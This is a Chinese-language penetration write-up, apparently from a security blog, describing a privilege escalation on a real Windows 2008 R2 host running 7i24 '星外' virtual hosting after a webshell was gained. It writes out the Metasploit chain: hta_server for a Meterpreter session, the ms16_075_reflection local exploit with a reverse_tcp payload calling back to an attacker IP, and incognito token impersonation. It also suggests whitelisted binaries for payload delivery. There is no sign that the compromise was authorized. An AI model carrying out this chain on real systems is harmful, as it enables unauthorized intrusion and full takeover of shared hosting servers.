0x01 前言
这个案例也是帮一个朋友看的,拿到Webshell权限后先对目标机器进行了简单的信息搜集,通过以下信息确定目标使用的是7i24星外虚拟主机,以前搞过这个虚拟主机的老哥肯定都知道权限设置的很死,能提下的希望不大,但也不是绝对的,事实证明只要细心看了还是有所收获的。
0x02 信息搜集
目标机器基本信息:
支持脚本:ASP、PHP(不能执行命令) 目标系统:Windows 2008 R2(IIS7.5) 当前权限:iis apppool\50_freehost_3 开放端口:21、80、135、445、3306、3893
星外虚拟主机特征:
D:\freehost\******\web\ C:\ProgramData\「开始」菜单\Programs\星外PHP多版本工具\ C:\ProgramData\「开始」菜单\Programs\7i24虚拟主机管理平台\ C:\Program Files\PHP Manager 1.2 for IIS 7(RENEW by 7i24.com,2017-11-7) [...SNIP...]
- 1. 只有当前网站目录读取/写入权限,C、D、E、F盘以及其它网站目录都没有读取和写入权限。
- 2. 通过ASP脚本扫描找到一些可读/写目录,但是上传/新建不了文件,即使成功也显示不出来。
- 3. 目前只能将文件上传到当前网站目录下,但是仍然无法执行我们上传的文件,如图2-1-2。
- 4. 虽然不能上传和执行我们的提权EXP,但是只要能够执行系统命令还是有希望的,往下看。
注:目标机器中并没有安装其它安全防护软件,所以在可读/写目录中无法上传文件的问题并不是安全防护软件造成,极有可能是因为星外虚拟主机权限问题,具体原因不是很确定,没去细研究这个问题!
0x03 实战提权过程
这里因为不能执行我们上传的提权EXP,所以也就放弃了该方法。不过又想到了另一种方法,就是可以利用MSF下的本地权限提升模块进行提权,但我们得先获取到目标机器Meterpreter会话,这里笔者只测试了web_delivery、hta_server两个模块,大家在实战中遇到此类环境时还可以尝试一下其它白名单文件,如:msbuild.exe、installutil.exe等。
exploit/multi/script/web_delivery //powershell.exe执行成功,但底层powershell没被执行 exploit/windows/misc/hta_server //成功执行该Payload并且得到目标机器Meterpreter会话
我们成功得到目标机器会话后用background命令将其放置后台运行,然后use加载本地权限提升模块exploit/windows/local/ms16_075_reflection,进行以下配置并执行exploit,这里需要注意一下target参数,1:Windows x86,2:Windows x64,设置不对的话就会报错。
msf5 exploit(windows/local/ms16_075_reflection) > set target 2 msf5 exploit(windows/local/ms16_075_reflection) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/local/ms16_075_reflection) > set lhost 1*6.2*7.2*.1*4 msf5 exploit(windows/local/ms16_075_reflection) > set lport 5555 msf5 exploit(windows/local/ms16_075_reflection) > set session 1 msf5 exploit(windows/local/ms16_075_reflection) > exploit
ms16_075_reflection本地提权模块利用成功后会得到一个新的Meterpreter会话,但用getuid命令查看时仍然是IIS APPPOOL\50_FreeHost_3权限,这时我们还需要使用use加载一下incognito扩展并执行list_tokens -u和impersonate_token命令来模拟高权限令牌进行权限提升。